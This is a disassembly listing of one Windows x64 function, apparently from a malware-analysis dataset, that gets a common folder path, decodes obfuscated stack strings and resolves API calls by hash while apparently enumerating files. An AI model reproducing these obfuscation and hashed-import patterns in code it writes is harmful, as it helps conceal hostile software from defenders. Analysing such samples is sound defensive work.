Function at 0x140021810
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
lea rbp, [rsp - 0x878]
sub rsp, 0x978
mov rax, qword [0x14005b080]
xor rax, rsp
mov qword [rbp + 0x850], rax
xor esi, esi
mov qword [rbp - 0x68], r9
mov r12, rcx
mov qword [rbp - 0x70], r8
lea rax, [rbp + 0x80]
mov qword [rbp + 0x80], rsi
mov r13, rdx
mov qword [rbp + 0x88], rax
lea ecx, [rsi + 0x30]
call fcn.14002a2e8
xorps xmm0, xmm0
mov rbx, rax
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
cmp rax, r12
je 0x1400218d2
cmp qword [r12 + 0x18], 7
mov r9, r12
jbe 0x140021892
mov r9, qword [r12]
mov rdx, qword [r12 + 0x10]
cmp rdx, 7
ja 0x1400218ca
cmp qword [rax + 0x18], 7
mov rsi, rbx
jbe 0x1400218aa
mov rsi, qword [rax]
lea rdi, [rdx + rdx]
mov qword [rax + 0x10], rdx
mov r8, rdi
mov rdx, r9
mov rcx, rsi
call fcn.140046620
xor eax, eax
mov word [rdi + rsi], ax
xor esi, esi
jmp 0x1400218d2
mov rcx, rbx
call fcn.14001ee80
mov qword [rbx + 0x20], rsi
lea rcx, [rbx + 0x20]
mov rax, qword [rbp + 0x88]
xor r9d, r9d
mov qword [rbx + 0x28], rax
xor r8d, r8d
mov rax, qword [rbp + 0x88]
mov qword [rsp + 0x970], r14
lea edx, [r9 + 0x1a]
mov qword [rsp + 0x968], r15
mov qword [rax], rbx
lea rax, [rbp + 0x640]
mov qword [rbp + 0x88], rcx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140021cdc
mov byte [rsp + 0x40], 0
mov byte [rsp + 0x41], 0x3b
mov byte [rsp + 0x42], 0x35
mov byte [rsp + 0x43], 0xf9
mov byte [rsp + 0x44], 0x35
mov byte [rsp + 0x45], 0xe5
mov byte [rsp + 0x46], 0x35
mov byte [rsp + 0x47], 0x36
mov byte [rsp + 0x48], 0x35
mov byte [rsp + 0x49], 0x73
mov byte [rsp + 0x4a], 0x35
mov byte [rsp + 0x4b], 0x99
mov byte [rsp + 0x4c], 0x35
mov byte [rsp + 0x4d], 0xba
mov byte [rsp + 0x4e], 0x35
mov byte [rsp + 0x4f], 0x99
mov byte [rsp + 0x50], 0x35
mov byte [rsp + 0x51], 0x10
mov byte [rsp + 0x52], 0x35
mov byte [rsp + 0x53], 6
mov byte [rsp + 0x54], 0x35
mov byte [rsp + 0x55], 0x3b
mov byte [rsp + 0x56], 0x35
mov byte [rsp + 0x57], 0xce
mov byte [rsp + 0x58], 0x35
mov byte [rsp + 0x59], 0xe5
mov byte [rsp + 0x5a], 0x35
mov byte [rsp + 0x5b], 0x52
mov byte [rsp + 0x5c], 0x35
mov byte [rsp + 0x5d], 0x7d
mov byte [rsp + 0x5e], 0x35
mov byte [rsp + 0x5f], 0x99
mov byte [rsp + 0x60], 0x35
mov byte [rsp + 0x61], 0xdb
mov byte [rsp + 0x62], 0x35
mov byte [rsp + 0x63], 0xba
mov byte [rsp + 0x64], 0x35
mov byte [rsp + 0x65], 0x3b
mov byte [rsp + 0x66], 0x35
mov byte [rsp + 0x67], 0x45
mov byte [rsp + 0x68], 0x35
mov byte [rsp + 0x69], 0xc4
mov byte [rsp + 0x6a], 0x35
mov byte [rsp + 0x6b], 6
mov byte [rsp + 0x6c], 0x35
mov byte [rsp + 0x6d], 0xdb
mov byte [rsp + 0x6e], 0x35
mov byte [rsp + 0x6f], 0x99
mov byte [rsp + 0x70], 0x35
mov byte [rsp + 0x71], 0x73
mov byte [rsp + 0x72], 0x35
mov byte [rsp + 0x73], 0x78
mov byte [rsp + 0x74], 0x35
mov byte [rsp + 0x75], 0x42
mov byte [rsp + 0x76], 0x35
mov byte [rsp + 0x77], 0xad
mov byte [rsp + 0x78], 0x35
mov byte [rsp + 0x79], 0x9e
mov byte [rsp + 0x7a], 0x35
mov byte [rsp + 0x7b], 0x99
mov byte [rsp + 0x7c], 0x35
mov byte [rsp + 0x7d], 0x73
mov byte [rsp + 0x7e], 0x35
mov byte [rsp + 0x7f], 6
mov byte [rbp - 0x80], 0x35
mov byte [rbp - 0x7f], 0x36
mov byte [rbp - 0x7e], 0x35
mov byte [rbp - 0x7d], 0x4d
mov byte [rbp - 0x7c], 0x35
mov byte [rbp - 0x7b], 6
mov byte [rbp - 0x7a], 0x35
mov byte [rbp - 0x79], 0xba
mov byte [rbp - 0x78], 0x35
mov byte [rbp - 0x77], 0x35
mov byte [rbp - 0x76], 0x35
movzx eax, byte [rsp + 0x41]
movzx eax, byte [rsp + 0x40]
test al, al
jne 0x140021b04
mov rdi, rsi
nop dword [rax]
movzx ecx, byte [rsp + rdi + 0x41]
mov eax, 0x828cbfbf
sub ecx, 0x35
imul ecx, ecx, 0x63
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xfb
sub ecx, eax
mov eax, 0x828cbfbf
add ecx, 0xfb
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xfb
sub ecx, eax
mov byte [rsp + rdi + 0x41], cl
inc rdi
cmp rdi, 0x4a
jb 0x140021ab0
lea rdx, [rbp + 0x640]
lea rcx, [rbp - 0x40]
call fcn.140002f90
lea rcx, [rsp + 0x41]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rcx + r8*2], 0
jne 0x140021b20
lea rdx, [rsp + 0x41]
mov rcx, rax
call fcn.1400061c0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x370], xmm0
movups xmmword [rbp + 0x390], xmm0
movups xmm0, xmmword [rax + 0x10]
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
mov rdx, qword [rbp - 0x28]
movups xmmword [rbp + 0x350], xmm0
movups xmmword [rbp + 0x3a0], xmm0
cmp rdx, 7
jbe 0x140021baa
mov rcx, qword [rbp - 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021ba5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400224ab
call fcn.14002a2e0
mov ecx, 0x30
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], si
call fcn.14002a2e8
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
lea rax, [rbp + 0x390]
cmp rbx, rax
je 0x140021c52
movups xmm1, xmmword [rbp + 0x350]
mov rsi, qword [rbp + 0x370]
lea r9, [rbp + 0x390]
movdqa xmm0, xmm1
movq rdx, xmm1
psrldq xmm0, 8
movq r14, xmm0
cmp r14, 7
cmova r9, rsi
cmp rdx, 7
ja 0x140021c4a
cmp qword [rbx + 0x18], 7
mov r15, rbx
jbe 0x140021c2b
mov r15, qword [rbx]
lea rdi, [rdx + rdx]
mov qword [rbx + 0x10], rdx
mov r8, rdi
mov rdx, r9
mov rcx, r15
call fcn.140046620
xor eax, eax
mov word [r15 + rdi], ax
jmp 0x140021c62
mov rcx, rbx
call fcn.14001ee80
mov rsi, qword [rbp + 0x390]
xor eax, eax
mov r14, qword [rbp + 0x3a8]
mov qword [rbx + 0x20], rax
lea rcx, [rbx + 0x20]
mov rax, qword [rbp + 0x88]
mov qword [rbx + 0x28], rax
mov rax, qword [rbp + 0x88]
mov qword [rax], rbx
mov qword [rbp + 0x88], rcx
cmp r14, 7
jbe 0x140021cc1
lea rdx, [r14*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140021cb9
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400224a5
mov rcx, rsi
call fcn.14002a2e0
xor esi, esi
mov qword [rbp + 0x3a8], 7
mov qword [rbp + 0x3a0], rsi
mov word [rbp + 0x390], si
mov r14, qword [rbp + 0x80]
test r14, r14
je 0x140022420
mov rdx, r14
lea rcx, [rbp + 0x350]
call fcn.140003d60
lea rdx, [rbp + 0x350]
lea rcx, [rbp - 0x20]
call fcn.140003d60
mov rdx, rax
lea rcx, [rbp + 0x370]
call fcn.14001eff0
lea rdx, [rbp + 0x350]
lea rcx, [rbp]
call fcn.140003d60
mov rcx, rax
call fcn.140020650
cmp qword [rbp + 0x388], 7
lea rdi, [rbp + 0x370]
mov edx, 0xf
mov r8d, 0x4796a6c5
cmova rdi, qword [rbp + 0x370]
xor ecx, ecx
lea r9d, [rdx + 0x30]
call fcn.140008cd0
lea rdx, [rbp + 0x3f0]
mov rcx, rdi
call rax
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x140021e40
lea edx, [rax + 0x10]
xor ecx, ecx
lea r9d, [rax + 0x5e]
mov r8d, 0x9aab3800
call fcn.140008cd0
call rax
cmp qword [rbp + 0x368], 7
lea rdx, [rbp + 0x350]
mov r8d, eax
lea rcx, [0x140054200]
cmova rdx, qword [rbp + 0x350]
call fcn.1400226e0
mov rcx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x28]
test rcx, rcx
je 0x140021dc7
mov qword [rcx + 0x28], rax
jmp 0x140021dce
mov qword [rbp + 0x88], rax
mov rcx, qword [r14 + 0x28]
mov rax, qword [r14 + 0x20]
mov qword [rcx], rax
mov rdx, qword [r14 + 0x18]
cmp rdx, 7
jbe 0x140021e18
mov rcx, qword [r14]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140021e13
mov rdi, qword [rcx - 8]
add rdx, 0x27
sub rcx, rdi
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002249f
mov rcx, rdi
call fcn.14002a2e0
mov edx, 0x30
mov qword [r14 + 0x10], rsi
mov rcx, r14
mov qword [r14 + 0x18], 7
mov word [r14], si
call fcn.14002a2e0
jmp 0x14002236b
mov byte [rsp + 0x30], 0
mov byte [rsp + 0x31], 0xf7
mov byte [rsp + 0x32], 0x4c
mov byte [rsp + 0x33], 0x4c
mov byte [rsp + 0x34], 0x4c
movzx eax, byte [rsp + 0x31]
movzx eax, byte [rsp + 0x30]
test al, al
jne 0x140021ec4
mov rdi, rsi
nop word [rax + rax]
movzx ecx, byte [rsp + rdi + 0x31]
mov eax, 0x828cbfbf
sub ecx, 0x4c
imul ecx, ecx, 0x51
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xfb
sub ecx, eax
mov eax, 0x828cbfbf
add ecx, 0xfb
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xfb
sub ecx, eax
mov byte [rsp + rdi + 0x31], cl
inc rdi
cmp rdi, 4
jb 0x140021e70
mov edx, 0xf
xor ecx, ecx
mov r8d, 0xd76d434b
lea r9d, [rdx + 0x2d]
call fcn.140008cd0
lea rdx, [rsp + 0x31]
lea rcx, [rbp + 0x41c]
call rax
test eax, eax
je 0x1400222a5
mov byte [rsp + 0x38], 0
mov byte [rsp + 0x39], 0xb5
mov byte [rsp + 0x3a], 0x55
mov byte [rsp + 0x3b], 0xb5
mov byte [rsp + 0x3c], 0x55
mov byte [rsp + 0x3d], 0x55
mov byte [rsp + 0x3e], 0x55
movzx eax, byte [rsp + 0x39]
movzx eax, byte [rsp + 0x38]
test al, al
jne 0x140021f84
mov rdi, rsi
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [rsp + rdi + 0x39]
mov eax, 0x828cbfbf
sub ecx, 0x55
imul ecx, ecx, 0x3a
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xfb
sub ecx, eax
mov eax, 0x828cbfbf
add ecx, 0xfb
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xfb
sub ecx, eax
mov byte [rsp + rdi + 0x39], cl
inc rdi
cmp rdi, 6
jb 0x140021f30
mov edx, 0xf
xor ecx, ecx
mov r8d, 0xd76d434b
lea r9d, [rdx + 0x2d]
call fcn.140008cd0
lea rdx, [rsp + 0x39]
lea rcx, [rbp + 0x41c]
call rax
test eax, eax
je 0x1400222a5
mov eax, dword [rbp + 0x3f0]
bt eax, 0xa
jb 0x1400222a5
test al, 0x10
je 0x1400220ca
lea rcx, [rbp + 0x41c]
call fcn.14001f6e0
test eax, eax
je 0x1400220ca
lea rdx, [rbp + 0x41c]
lea rcx, [rbp + 0x20]
call fcn.140002f90
lea rdx, [rbp + 0x350]
mov rdi, rax
lea rcx, [rbp + 0x40]
call fcn.140003d60
mov rdx, rax
lea rcx, [rbp + 0x3d0]
mov r8, rdi
call fcn.14001f340
mov ecx, 0x30
call fcn.14002a2e8
xorps xmm0, xmm0
lea rdx, [rbp + 0x3d0]
mov rcx, rax
mov rdi, rax
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
call fcn.1400224d0
mov qword [rdi + 0x20], rsi
lea rdx, [rdi + 0x20]
mov rcx, qword [rbp + 0x88]
mov qword [rdi + 0x28], rcx
mov rax, qword [rbp + 0x88]
mov qword [rax], rdi
mov qword [rbp + 0x88], rdx
mov rdx, qword [rbp + 0x3e8]
cmp rdx, 7
jbe 0x1400220ac
mov rcx, qword [rbp + 0x3d0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400220a7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002249f
call fcn.14002a2e0
mov qword [rbp + 0x3e0], rsi
mov qword [rbp + 0x3e8], 7
mov word [rbp + 0x3d0], si
jmp 0x1400222a5
lea rcx, [rbp + 0x41c]
call fcn.140020080
test eax, eax
je 0x1400222a5
cmp qword [rbp + 0x368], 7
movabs rax, 0x7ffffffffffffffe
mov rbx, qword [rbp + 0x360]
mov qword [rbp - 0x58], rsi
lea rsi, [rbp + 0x350]
cmova rsi, qword [rbp + 0x350]
cmp rbx, rax
ja 0x1400224c3
cmp rbx, 7
ja 0x140022131
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], 7
movups xmmword [rbp - 0x60], xmm0
jmp 0x1400221dc
mov rdi, rbx
or rdi, 7
cmp rdi, rax
jbe 0x140022150
mov rdi, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x140022180
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rdi + 1]
cmp rcx, rax
ja 0x1400224bd
add rcx, rcx
cmp rcx, 0x1000
jb 0x1400221af
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400224bd
mov rcx, rax
call fcn.14002a2e8
mov rcx, rax
test rax, rax
je 0x1400224b1
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400221bd
test rcx, rcx
je 0x1400221bb
call fcn.14002a2e8
jmp 0x1400221bd
xor eax, eax
lea r8, [rbx*2 + 2]
mov qword [rbp - 0x60], rax
mov rdx, rsi
mov qword [rbp - 0x50], rbx
mov rcx, rax
mov qword [rbp - 0x48], rdi
call fcn.140046620
lea rdx, [rbp + 0x41c]
lea rcx, [rbp + 0x60]
call fcn.140002f90
mov r8, rax
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x3b0]
call fcn.14001f340
mov r9, qword [rbp - 0x70]
lea rdi, [rbp + 0x90]
mov rdx, qword [rbp - 0x68]
xor eax, eax
cmp qword [rbp + 0x3c8], 7
mov ecx, 0x2b8
rep stosb byte [rdi], al
lea rax, [rbp + 0x3b0]
mov r8, r13
cmova rax, qword [rbp + 0x3b0]
lea rcx, [rbp + 0x90]
mov qword [rbp + 0x90], rax
call fcn.140017b00
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 7
jbe 0x14002228a
mov rcx, qword [rbp + 0x3b0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022285
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400224b7
call fcn.14002a2e0
xor esi, esi
mov qword [rbp + 0x3c8], 7
mov qword [rbp + 0x3c0], rsi
mov word [rbp + 0x3b0], si
mov edx, 0xf
xor ecx, ecx
mov r8d, 0xff036af1
lea r9d, [rdx + 0x2f]
call fcn.140008cd0
lea rdx, [rbp + 0x3f0]
mov rcx, r15
call rax
test eax, eax
jne 0x140021e40
mov rcx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x28]
test rcx, rcx
je 0x1400222e2
mov qword [rcx + 0x28], rax
jmp 0x1400222e9
mov qword [rbp + 0x88], rax
mov rcx, qword [r14 + 0x28]
mov rax, qword [r14 + 0x20]
mov qword [rcx], rax
mov rdx, qword [r14 + 0x18]
cmp rdx, 7
jbe 0x140022333
mov rcx, qword [r14]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14002232e
mov rdi, qword [rcx - 8]
add rdx, 0x27
sub rcx, rdi
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002249f
mov rcx, rdi
call fcn.14002a2e0
mov edx, 0x30
mov qword [r14 + 0x10], rsi
mov rcx, r14
mov qword [r14 + 0x18], 7
mov word [r14], si
call fcn.14002a2e0
mov edx, 0xf
xor ecx, ecx
mov r8d, 0x13ee65d
lea r9d, [rdx + 0x2e]
call fcn.140008cd0
mov rcx, r15
call rax
mov rdx, qword [rbp + 0x388]
cmp rdx, 7
jbe 0x1400223b1
mov rcx, qword [rbp + 0x370]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400223ac
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002249f
call fcn.14002a2e0
mov rdx, qword [rbp + 0x368]
mov word [rbp + 0x370], si
mov qword [rbp + 0x388], 7
mov qword [rbp + 0x380], rsi
cmp rdx, 7
jbe 0x140022410
mov rcx, qword [rbp + 0x350]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002240b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002249f
call fcn.14002a2e0
mov r14, qword [rbp + 0x80]
test r14, r14
jne 0x140021cec
mov rdx, qword [r12 + 0x18]
cmp rdx, 7
jbe 0x14002245d
mov rcx, qword [r12]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140022458
mov rdi, qword [rcx - 8]
add rdx, 0x27
sub rcx, rdi
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400224a5
mov rcx, rdi
call fcn.14002a2e0
mov r15, qword [rsp + 0x968]
mov r14, qword [rsp + 0x970]
mov qword [r12 + 0x10], rsi
mov qword [r12 + 0x18], 7
mov word [r12], si
mov rcx, qword [rbp + 0x850]
xor rcx, rsp
call fcn.14002a2c0
add rsp, 0x978
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1400314d8
int3
call fcn.1400314d8
int3
call fcn.1400314d8
int3
call fcn.1400314d8
int3
call fcn.1400314d8
int3
call fcn.1400025d0
int3
call fcn.140002670
int3